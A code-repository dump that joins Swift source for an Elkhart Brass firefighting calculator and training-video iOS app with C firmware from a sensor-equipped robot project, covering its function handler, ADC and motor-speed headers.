self.calculateButton.layer.cornerRadius = 5 // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) } func pickerView(_ pickerView: UIPickerView, attributedTitleForRow row: Int, forComponent component: Int) -> NSAttributedString? { let titleData = diameters[row] let myTitle = NSAttributedString(string: titleData, attributes: [NSFontAttributeName:UIFont(name: "Georgia", size: 17.0)!,NSForegroundColorAttributeName:self.maroon]) return myTitle } // DataSource func numberOfComponents(in pickerView: UIPickerView) -> Int { return 1 } func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { return diameters.count } // Delegate func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { return self.diameters[row] } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { print("selected row ", row) } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // VideosFlowViewController.swift // brass // // Created by <NAME> on 4/20/17. // Copyright © 2017 <NAME>. All rights reserved. // // TODO typo in the Smooth Bore Discharge Flow, output is in Friction Loss? import UIKit class VideosViewController: UIViewController { @IBOutlet weak var webView: UIWebView! @IBOutlet weak var scrollView: UIScrollView! override func viewDidLoad() { super.viewDidLoad() setIcons() self.automaticallyAdjustsScrollViewInsets = false scrollView.contentInset = UIEdgeInsets.zero scrollView.scrollIndicatorInsets = UIEdgeInsets.zero; let v1 = "<h4>1. How to Properly Conduct A Nozzle Evaluation</h4><iframe src='https://player.vimeo.com/video/211230460' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v2 = "<h4>2. How to Properly Set Up A Flowmeter</h4><iframe src='https://player.vimeo.com/video/203750485' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v3 = "<h4>3. How to Calibrate a Flowmeter</h4><iframe src='https://player.vimeo.com/video/203751557' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v4 = "<h4>4. Measuring Nozzle Pressure</h4><iframe src='https://player.vimeo.com/video/206354328' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v5 = "<h4>5. Measuring Nozzle Pressure</h4><iframe src='https://player.vimeo.com/video/205964577' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v6 = "<h4>6. How to Measure Nozzle Reaction</h4><iframe src='https://player.vimeo.com/video/197222333' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v7 = "<h4>7. Components of the Fire Attack System</h4><iframe src='https://player.vimeo.com/video/210992925' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v8 = "<h4>8. Checking Inline Gauges for Accuracy</h4><iframe src='https://player.vimeo.com/video/197207990' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v9 = "<h4>9. 2-1/2” Smooth Bore Tip Selection</h4><iframe src='https://player.vimeo.com/video/206353483' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let v10 = "<h4>10. Nozzle Overview: Weapon Selection</h4><iframe src='https://player.vimeo.com/video/193599394' width='100%' height='auto' frameborder='0' webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>" let css = "body {background: rgba(20, 20, 20, .9); font-family: Arial, 'Helvetica Neue', Helvetica, sans-serif;} h4 {color: white;}" let html = "<style>" + css + "</style>" + "<body>" + v1 + "<br><br>" + v2 + "<br><br>" + v3 + "<br><br>" + v4 + "<br><br>" + v5 + "<br><br>" + v6 + "<br><br>" + v7 + "<br><br>" + v8 + "<br><br>" + v9 + "<br><br>" + v10 + "</body>" webView.loadHTMLString(html, baseURL: nil) // see our fonts let fontFamilies:[String] = UIFont.familyNames for fontFamily: String in fontFamilies { let fontNames: [String] = UIFont.fontNames(forFamilyName: fontFamily) print("\(fontFamily) \(fontNames)"); } // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) } @IBAction func moreVideosPressed(_ sender: Any) { let url = URL(string: "http://www.brasstackshardfacts.com/")! UIApplication.shared.open(url, options: [:]) } override func viewDidLayoutSubviews() { print("setting scroll view size") // The scrollview needs to know the content size for it to work correctly self.scrollView.contentSize = CGSize(width: self.view.frame.size.width - 32, height: self.view.frame.size.height + 60 ); } override func viewWillAppear(_ animated: Bool) { super.viewWillAppear(animated) // Hide the navigation bar for current view controller self.navigationController?.isNavigationBarHidden = true; } override func viewWillDisappear(_ animated: Bool) { super.viewWillDisappear(animated) // Show the navigation bar on other view controllers self.navigationController?.isNavigationBarHidden = false; } func setIcons() { let selectedColor = UIColor(colorLiteralRed: 0.34766, green: 0, blue: 0, alpha: 1) // red let unselectedColor = UIColor(colorLiteralRed: 0.5, green: 0.5, blue: 0.5, alpha: 1) // gray tabBarController?.tabBar.items?[0].setFAIcon(icon: .FAVideoCamera, size: nil, textColor: unselectedColor, backgroundColor: .clear, selectedTextColor: selectedColor, selectedBackgroundColor: .clear) // videos tabBarController?.tabBar.items?[1].setFAIcon(icon: .FACalculator, size: nil, textColor: unselectedColor, backgroundColor: .clear, selectedTextColor: selectedColor, selectedBackgroundColor: .clear) // smooth bore discharge flow tabBarController?.tabBar.items?[2].setFAIcon(icon: .FAExchange, size: nil, textColor: unselectedColor, backgroundColor: .clear, selectedTextColor: selectedColor, selectedBackgroundColor: .clear) // nozzle reaction tabBarController?.tabBar.items?[3].setFAIcon(icon: .FABuildingO, size: nil, textColor: unselectedColor, backgroundColor: .clear, selectedTextColor: selectedColor, selectedBackgroundColor: .clear) // pump discharge pressure tabBarController?.tabBar.items?[4].setFAIcon(icon: .FAFire, size: nil, textColor: unselectedColor, backgroundColor: .clear, selectedTextColor: selectedColor, selectedBackgroundColor: .clear) // fire flow } override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // DischargeFlowViewController.swift // brass // // Created by <NAME> on 4/22/17. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class DischargeFlowViewController: UIViewController, UIPickerViewDelegate, UIPickerViewDataSource { @IBOutlet weak var pickerView: UIPickerView! @IBOutlet weak var pressureField: UITextField! @IBOutlet weak var ansLabel: UILabel! @IBOutlet weak var formulaLabel: UILabel! @IBOutlet weak var formulaView: UIView! var nozzleDiameters = ["0.875", "0.9375", "1.0", "1.0625", "1.125", "1.1875", "1.25", "1.375", "1.5", "1.75", "2.0", "2.25", "2.5"] let nozzleDiametersFractions = ["7/8", "15/16", "1", "1-1/16", "1-1/8", "1-3/16", "1-1/4", "1-3/8", "1-1/2", "1-3/4", "2", "2-1/4", "2-1/2"] override func viewDidLoad() { super.viewDidLoad() self.pickerView.delegate = self self.pickerView.dataSource = self // check screen size, see if formula label fits formatFormulaLabel() // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) } func formatFormulaLabel() { // check height of label } override func viewDidAppear(_ animated: Bool) { self.set_initial_defaults() } func set_initial_defaults() { self.pickerView.selectedRow(inComponent: 0) // default nozzle diameter 7/8" self.pressureField.text = "50" // default pressure 50psi } // status bar white color override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } // picker view func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { return nozzleDiameters.count } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { print(row) } func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { return nozzleDiametersFractions[row]+"\"" } func numberOfComponents(in pickerView: UIPickerView) -> Int { return 1 } func roundNumber (number: Double) -> Double { let y = Double(round(1*number)/1) return y } @IBAction func pressedCalculate(_ sender: Any) { var ans = 0.0 let nozzlePressure = Double(self.pressureField.text!) let diameterStr = nozzleDiameters[pickerView.selectedRow(inComponent: 0)] let diameter = Double(diameterStr)! // this equation is accurate print("discharge flow") ans = 29.71 * pow(diameter, 2) * pow(nozzlePressure!, 0.5) let intAns = Int(ans) self.ansLabel.text = String(describing: String(intAns)) + " GPM" } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // AboutViewController.swift // brass // // Created by <NAME> on 3/20/17. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class AboutViewController: UIViewController { @IBOutlet weak var textView: UITextView! override func viewDidLoad() { super.viewDidLoad() let p1 = "Elkhart Brass is the industry's most experienced manufacturer of innovative firefighting and fire protection equipment. We manufacture 2,000 products used in virtually every aspect of fire fighting. Our products are found in fire departments around the world, building systems and off-shore drilling sites, as well as in military, marine and industrial firefighting applications." let p2 = "Well known for its commitment to quality, value and customer service, Elkhart celebrated its 100th anniversary in 2002. In 2015, Elkhart Brass was acquired by Safe Fleet creating the leading global provider of safety solutions for fleet vehicles. The combination of Elkhart Brass with FRC and Foam Pro enables the company to develop integrated systems of monitors, valves, foam proportioning and electronic controls for the global emergency market." let p3 = "Headquartered in Belton, MO, Safe Fleet owns a portfolio of brands that provide increased functionality and integrated solutions for fleet vehicle manufacturers and operators around the world. These brands serve five major markets including: emergency services, bus and rail, truck and trailer, utility, and industrial. With almost 1000 employees, the Safe Fleet family of brands operates over 500,000 square feet of manufacturing space and targets markets with increasing demand for operator, passenger and pedestrian safety. For more information about Safe Fleet please visit www.safefleetsolutions.com." let p4 = "Elkhart Brass still operates at its original site in Elkhart, Indiana. In addition to manufacturing and management, the location also houses product research and development, engineering, and product testing." let separator = "---" let contactInfo = "Elkhart Brass Mfg. Co., Inc.\n1302 West Beardsley Ave.\nElkhart, IN 46514\n1-800-346-0250 • 1-574-295-8330\nwww.elkhartbrass.com" textView.text = p1 + "\n\n" + p2 + "\n\n" + p3 + "\n\n" + p4 + "\n\n\n" + separator + "\n\n" + contactInfo // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) } override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // NozzleReactionViewController.swift // brass // // Created by <NAME> on 3/20/17. // Copyright © 2017 <NAME>. All rights reserved. // import UIKit class NozzleReactionViewController: UIViewController, UIPickerViewDelegate, UIPickerViewDataSource { @IBOutlet weak var vcTitle: UILabel! @IBOutlet weak var firstInputLabel: UILabel! @IBOutlet var pickerView: UIPickerView! @IBOutlet weak var segmentedControl: UISegmentedControl! @IBOutlet weak var pressure: UITextField! @IBOutlet weak var gpmLabel: UILabel! @IBOutlet weak var ansTitleLabel: UILabel! @IBOutlet var diameterQView: UIView! @IBOutlet weak var flowRateView: UIView! @IBOutlet weak var flowRateInput: UITextField! @IBOutlet weak var nozzleDiameterView: UIView! @IBOutlet weak var formulaLabel: UILabel! var nozzleDiameters = ["0.875", "0.9375", "1.0", "1.0625", "1.125", "1.1875", "1.25"] let nozzleDiametersFractions = ["7/8", "15/16", "1", "1-1/16", "1-1/8", "1-3/16", "1-1/4"] override func viewDidLoad() { super.viewDidLoad() self.flowRateInput.isHidden = true self.pickerView.delegate = self self.pickerView.dataSource = self // set background image let width = UIScreen.main.bounds.size.width let height = UIScreen.main.bounds.size.height let imageViewBackground = UIImageView(frame: CGRect(x:0, y:0, width: width, height: height)) imageViewBackground.image = UIImage(named: "brass_background_black_vertical.jpg") imageViewBackground.contentMode = UIViewContentMode.scaleAspectFill self.view.addSubview(imageViewBackground) self.view.sendSubview(toBack: imageViewBackground) set_initial_defaults() } // status bar white color override var preferredStatusBarStyle: UIStatusBarStyle { return .lightContent } override func viewDidAppear(_ animated: Bool) { self.set_initial_defaults() } func set_initial_defaults() { self.flowRateInput.text = "150" // flow rate (gpm) default self.pressure.text = "50" // pressure (psi) default self.pickerView.selectedRow(inComponent: 0) // nozzle diameter (7/8") } // picker view func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { return nozzleDiameters.count } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { print(row) } func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { return nozzleDiametersFractions[row]+"\"" } func numberOfComponents(in pickerView: UIPickerView) -> Int { return 1 } func roundNumber (number: Double) -> Double { let y = Double(round(1*number)/1) return y } @IBAction func pressedCalculate(_ sender: Any) { var ans = 0.0 var unit = "blah" // all let nozzlePressure = Double(self.pressure.text!) // FOG let gpmVal = Double(self.flowRateInput.text!) // Smooth Bore let diameterStr = nozzleDiameters[pickerView.selectedRow(inComponent: 0)] let diameter = Double(diameterStr)! if (segmentedControl.selectedSegmentIndex == 2) { // discharge flow // this equation is accurate self.ansTitleLabel.text = "DISCHARGE FLOW" // TODO hook this up to segmented control change print("discharge flow") ans = 29.71 * pow(diameter, 2) * pow(nozzlePressure!, 0.5) //unit = "GPM" } else if (segmentedControl.selectedSegmentIndex == 0) { // smooth bore print("smooth bore") self.formulaLabel.text = "NR = 1.55 * D^2 * NP" self.ansTitleLabel.text = "NOZZLE REACTION" ans = 1.55 * pow(diameter, 2) * nozzlePressure! unit = "LBS" } else { // FOG print("fog") self.formulaLabel.text = "NR = .0505 * Flow Rate * √(NP)" self.ansTitleLabel.text = "NOZZLE REACTION" ans = 0.0505 * gpmVal! * pow(nozzlePressure!, 0.5) // q instead of diameter unit = "LBS" // TODO? } //self.gpmLabel.text = String(describing: roundNumber(number: ans)) + " " + unit let intAns = Int(ans) self.gpmLabel.text = String(describing: String(intAns) + " " + unit) } @IBAction func changedSegmentedControl(_ sender: Any) { print("segment changed") if (self.segmentedControl.selectedSegmentIndex == 0) { // smooth bore // set default pressure self.pressure.text = "50" self.vcTitle.text = "NOZZLE REACTION" self.flowRateInput.isHidden = true self.pickerView.isHidden = false self.firstInputLabel.text = "NOZZLE DIAMETER" self.gpmLabel.text = "LBS" // default answer } else if (self.segmentedControl.selectedSegmentIndex == 1) { // FOG // set default pressure self.pressure.text = "50" self.vcTitle.text = "NOZZLE REACTION" self.flowRateInput.isHidden = false self.pickerView.isHidden = true self.firstInputLabel.text = "FLOW RATE (GPM)" self.gpmLabel.text = "LBS" // default answer } /* else if (self.segmentedControl.selectedSegmentIndex == 2) { // discharge flow self.vcTitle.text = "SMOOTH BORE DISCHARGE FLOW" } */ } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } } <file_sep>// // SideMenuViewController.swift // // // Created by <NAME> on 4/11/17. // // import UIKit class SideMenuViewController: UIViewController, UITableViewDelegate, UITableViewDataSource { self.tableView.registerClass(UITableViewCell.self, forCellReuseIdentifier: "cell") override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view. } // table view func tableView(tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return 0 } func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell { return UITableViewCell() } func tableView(tableView: UITableView, didSelectRowAtIndexPath indexPath: NSIndexPath) { } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } }
fcf6a6868eaaae764cc5df8186819e9811aefdd0
[ "Swift" ]
8
Swift
mnelso12/elkhartBrass
6014180089808475d1f3fe3bc089a888816cc6c8
bb1372497e9044a9ecd67cb505e00979e9591f0e
refs/heads/master
<repo_name>pmartinizq/ProyectoFinal<file_sep>/Soft V1.0/Firmware 1.0/Sources/VelocidadAngular.h #ifndef VELOCIDADANGULAR_H_ #define VELOCIDADANGULAR_H_ /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ int robot_speed_to_pwm( int16_t tangential_speed, int16_t angular_speed, uint8_t* left_wheel_pwm, uint8_t* right_wheel_pwm ); void _robot_speed_to_wheel_speed( /* parametros */ int16_t tangential_speed, int16_t angular_speed, int32_t *left_wheel_angular_speed, int32_t *right_wheel_angular_speed ); #endif // _VELOCIDAD_ANGULAR_H_ <file_sep>/Soft V1.0/Firmware 1.0/Sources/AdcModule.h #ifndef ADCMODULE_H #define ADCMODULE_H /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ /** @brief rutina de interrupcion de ADC. Toma la medicion de los sensores infrarrojos (sensores de meta y sensores de ruedas). @return void */ interrupt VectorNumber_Vadc void adcInterrupt (void); /** @brief intercambia los canales del ADC para realizar las diferentes medidas de los sensores. @return void */ extern void switchSensor(void); /** @brief setea la reaccion al encontrar la meta. @param mode es el modo de reaccionar al encontrar la meta. @returns void. */ extern void setGoalMode(int parameter, FunctionStruct* currentFunction); /** @brief inicializa la variable global 'goalSensor' que persiste el ultimo valor medido del estado del sensor de meta. @returns void. */ extern void initGoalSensor(void); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/FunctionHandler.c /*==================[inclusions]=============================================*/ #include "FunctionHandler.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[external functions definition]==========================*/ void functionHandler(void){ long time = 0,t=0; uint8_t idFunction = 0; uint8_t parameter = 0; uint8_t numberOfBytes = 0; uint8_t stepParameters[ 4 ]; uint8_t iterationFlagSteps = 0; uint8_t velocityParameters[ 4 ]; uint8_t iterationFlagVelocity = 0; uint16_t leftSteps = 0; uint16_t rightSteps = 0; uint8_t IDnumber; int tangencialVelocity = 0; int angularVelocity = 0; FunctionStruct functionStructInstance; FunctionStruct *rootFunction; FunctionStruct *newFunction; FunctionStruct *lastFunction; // Tomar funcion del buffer de entrada if(isDataAvailable(&bufferIn)==1){ // (void)SCI1S1; idFunction = getFromBuffer(&bufferIn); switch ( idFunction ) { case getMeasure: //tomo el parametro de getMeasure parameter = getFromBuffer(&bufferIn); switch ( parameter ) { case ULTRASONIC_ALL: IDnumber = getIDNumber(); functionStructInstance.IDNumber = IDnumber; functionStructInstance.functionParameter=getMeasureResponse; functionStructInstance.functionId = ULTRASONIC_ALL; functionStructInstance.status = READY; functionStructInstance.timerCount = NO_TIMER; functionStructInstance.root = UNIQUE_FUNCTION; functionStructInstance.dataSize = 3; rootFunction=setFunctionToExecutingVector(functionStructInstance); functionStructInstance.IDNumber = IDnumber; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_FRONT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_FRONT_TIMER; functionStructInstance.root = UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; lastFunction=setFunctionToExecutingVector(functionStructInstance); getUltrasonic(lastFunction); while(lastFunction->status==RUNNING||lastFunction->status==READY); if(lastFunction->status==AVAILABLE){ rootFunction->data[0]=lastFunction->data[0]; lastFunction->status=DONE; rootFunction->status=RUNNING; } else if(lastFunction->status==TIMEOUT){ rootFunction->status=TIMEOUT; break; } else if(lastFunction->status==INACCESSIBLE_DEVICE){ rootFunction->status=INACCESSIBLE_DEVICE; break; } functionStructInstance.IDNumber = IDnumber; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_LEFT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_LEFT_TIMER; functionStructInstance.root = UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; lastFunction=setFunctionToExecutingVector(functionStructInstance); getUltrasonic(lastFunction); if(rootFunction->status==RUNNING){ while(lastFunction->status==RUNNING||lastFunction->status==READY); if(lastFunction->status==AVAILABLE){ rootFunction->data[1]=lastFunction->data[0]; lastFunction->status=DONE; } else if(lastFunction->status==TIMEOUT){ rootFunction->status=TIMEOUT; break; } else if(lastFunction->status==INACCESSIBLE_DEVICE){ rootFunction->status=INACCESSIBLE_DEVICE; break; } } functionStructInstance.IDNumber = IDnumber; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_RIGHT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_RIGHT_TIMER; functionStructInstance.root = UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; lastFunction=setFunctionToExecutingVector(functionStructInstance); getUltrasonic(lastFunction); if(rootFunction->status==RUNNING){ while(lastFunction->status==RUNNING||lastFunction->status==READY); if(lastFunction->status==AVAILABLE){ rootFunction->data[2]=lastFunction->data[0]; rootFunction->status=AVAILABLE; lastFunction->status=DONE; } else if(lastFunction->status==TIMEOUT){ rootFunction->status=TIMEOUT; break; } else if(lastFunction->status==INACCESSIBLE_DEVICE){ rootFunction->status=INACCESSIBLE_DEVICE; break; } } break; case ULTRASONIC_LEFT: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_LEFT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_LEFT_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; getUltrasonic(setFunctionToExecutingVector(functionStructInstance)); break; case ULTRASONIC_RIGHT: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_RIGHT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_RIGHT_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; getUltrasonic(setFunctionToExecutingVector(functionStructInstance)); break; case ULTRASONIC_FRONT: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasure; functionStructInstance.functionId = ULTRASONIC_FRONT; functionStructInstance.status = READY; functionStructInstance.timerCount = ULTRASONIC_FRONT_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; functionStructInstance.dataSize = 1; getUltrasonic(setFunctionToExecutingVector(functionStructInstance)); break; case ACCEL: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasureResponse; functionStructInstance.functionId = ACCEL; functionStructInstance.status = READY; functionStructInstance.timerCount = ACCEL_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; //Llamo la funcion que toma la medicion //getAccelMeasure(setFunctionToExecutingVector(functionStructInstance)); functionStructInstance.dataSize = 6; testFunction1(setFunctionToExecutingVector(functionStructInstance)); break; case GYRO: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasureResponse; functionStructInstance.functionId = GYRO; functionStructInstance.status = READY; functionStructInstance.timerCount = GYRO_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; //Llamo la funcion que toma la medicion //getGyroMeasure(setFunctionToExecutingVector(functionStructInstance)); functionStructInstance.dataSize = 6; testFunction2(setFunctionToExecutingVector(functionStructInstance)); break; case COMPASS: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=getMeasureResponse; functionStructInstance.functionId = COMPASS; functionStructInstance.status = READY; functionStructInstance.timerCount = COMPASS_TIMER; functionStructInstance.root=UNIQUE_FUNCTION; //Llamo la funcion que toma la medicion //getCompassMeasure(setFunctionToExecutingVector(functionStructInstance)); functionStructInstance.dataSize = 2; testFunction3(setFunctionToExecutingVector(functionStructInstance)); break; default: setToBuffer(error, &bufferOut); setToBuffer(COMMAND_ERROR, &bufferOut); break; } break; case isGoal: functionStructInstance.IDNumber = 0; functionStructInstance.functionParameter=isGoal; functionStructInstance.functionId = isGoal; functionStructInstance.root=UNIQUE_FUNCTION; functionStructInstance.status = READY; functionStructInstance.timerCount = IS_GOAL_TIMER; functionStructInstance.dataSize = 1; //Tomo el parametro de isGoal parameter = getFromBuffer(&bufferIn); //Llamo funcion que setea el modo de meta setGoalMode(parameter, setFunctionToExecutingVector(functionStructInstance)); break; case setSteps: // tomo el numero de bytes numberOfBytes = getFromBuffer(&bufferIn); while(numberOfBytes >= iterationFlagSteps){ // tomo uno de los bytes de setStep y lo guardo en un array stepParameters[ iterationFlagSteps ] = getFromBuffer(&bufferIn); iterationFlagSteps++; } leftWheelStepValueToSet = 0; leftWheelStepValueToSet = leftWheelStepValueToSet + stepParameters[0]; leftWheelStepValueToSet = leftWheelStepValueToSet << 8; leftWheelStepValueToSet = leftWheelStepValueToSet + stepParameters[1]; rightWheelStepValueToSet =0; rightWheelStepValueToSet = rightWheelStepValueToSet + stepParameters[2]; rightWheelStepValueToSet = rightWheelStepValueToSet <<8; rightWheelStepValueToSet = rightWheelStepValueToSet + stepParameters[3]; setToBuffer(ACK, &bufferOut); setToBuffer(setSteps, &bufferOut); moveBy=STEPS; leftWheelStepValue=0; rightWheelStepValue=0; if(leftWheelStepValueToSet>=0&&rightWheelStepValueToSet>=0){ calcularSentido(FORWARD); }else if(leftWheelStepValueToSet<0&&rightWheelStepValueToSet<0){ calcularSentido(REVERSE); }else if(leftWheelStepValueToSet<0&&rightWheelStepValueToSet>0){ calcularSentido(TURN_RIGHT); }else if(leftWheelStepValueToSet>0&&rightWheelStepValueToSet<0){ calcularSentido(TURN_LEFT); } //robot_speed_to_pwm(100,0,&pwmRightValue,&pwmLeftValue); //setPwmValue(pwmRightValue,pwmLeftValue); setPwmValue(100,100); //funcion que setea los pasos mandando los parametros leftSteps y rightSteps //setSteps(leftWheelStepValueToSet, rightWheelStepValueToSet); break; case setVelocity: // tomo el numero de bytes numberOfBytes = getFromBuffer(&bufferIn); while(numberOfBytes >= iterationFlagVelocity){ // tomo uno de los bytes de setVelocity y lo guardo en un array velocityParameters[iterationFlagVelocity] = getFromBuffer(&bufferIn); iterationFlagVelocity++; } tangencialVelocity=0; tangencialVelocity = tangencialVelocity + velocityParameters[0]; tangencialVelocity=tangencialVelocity <<8 ; tangencialVelocity=tangencialVelocity+ velocityParameters[1]; angularVelocity=0; angularVelocity = angularVelocity+velocityParameters[2]; angularVelocity=angularVelocity <<8 + velocityParameters[3]; setToBuffer(ACK, &bufferOut); setToBuffer(setVelocity, &bufferOut); moveBy=LINEAR_VELOCITY; calcularSentido(robot_speed_to_pwm(tangencialVelocity,angularVelocity,&pwmRightValue,&pwmLeftValue)); setPwmValue(pwmRightValue,pwmLeftValue); //setPwmValue(tangencialVelocity,tangencialVelocity); break; default: setToBuffer(error, &bufferOut); setToBuffer(COMMAND_ERROR, &bufferOut); break; } } } /*==================[internal functions definition]==========================*/<file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/FunctionHandler.h #include "Config.h" #ifndef _FunctionHandler_h #define _FunctionHandler_h #endif uint16_t leftWheelSteps = 0; uint16_t rightWheelSteps = 0; uint16_t leftWheelVelocity = 0; uint16_t rightWheelVelocity = 0; void ultrasonicMessure(uint8_t something); void accelMessure(); void gyroMessure(); void compassMessure(); /** @brief setea la reaccion al encontrar la meta. @param mode es el modo de reaccionar al encontrar la meta. @returns void. */ void setGoalMode(uint8_t mode); /** @brief Inicializacion de buffer. Inicializa los parametros 'readPointer', 'writePointer' y 'buffer' de la estructura 'bufferStruct'. @param Buffer es el buffer (struct bufferStruct) a inicializar. @returns void */ void InitBuffer(BufferStruct BufferToInit); /** @brief toma dato del buffer. toma un dato uint8_t del buffer e incrementa el puntero 'readPointer'. Si no hay datos que leer no incrementa el puntero. Lipia la celda luego de leerla. @param BufferToGet es el buffer (struct bufferStruct) a leer. @returns data Parametro uint8_t con el valor de la celda tomada del buffer. */ uint8_t getFromBuffer(BufferStruct BufferToGet); /** @brief Setea un dato en el buffer. setea un dato uint8_t en el buffer e incrementa el puntero 'writePointer'. Si no hay lugar en el buffer en donde setear el dato, lo descarta. @param BufferToSet es el buffer (struct bufferStruct) a escribir. @returns void. */ void setToBuffer(uint8_t data, BufferStruct BufferToSet); /** @brief devuelve el espacio disponible en el buffer. calcula el espacio disponible para almacenamiento en el buffer. @param BufferToCalculate es el buffer (struct bufferStruct) a calcular. @returns data Parametro uint8_t con el valor del espacio disponible para almacenamiento en el buffer. */ uint8_t getSpaceOfBuffer(BufferStruct BufferToCalculate); /** @brief setea la cantidad de pasos a cada rueda. @param leftSteps uint16_t que representa la cantidad de pasos de la rueda izquierda. @param rightSteps uint16_t que representa la cantidad de pasos de la rueda derecha. @returns void. */ //void setSteps(uint16_t leftSteps, uint16_t rightSteps); /** @brief setea la velocidad a cada rueda. @param leftVelocity uint16_t que representa la velocidad de la rueda izquierda. @param rightVelocity uint16_t que representa la velocidad de la rueda derecha. @returns void. */ //void setVelocity(uint16_t leftVelocity, uint16_t rightVelocity); /** @brief Toma una instruccion del buffer de 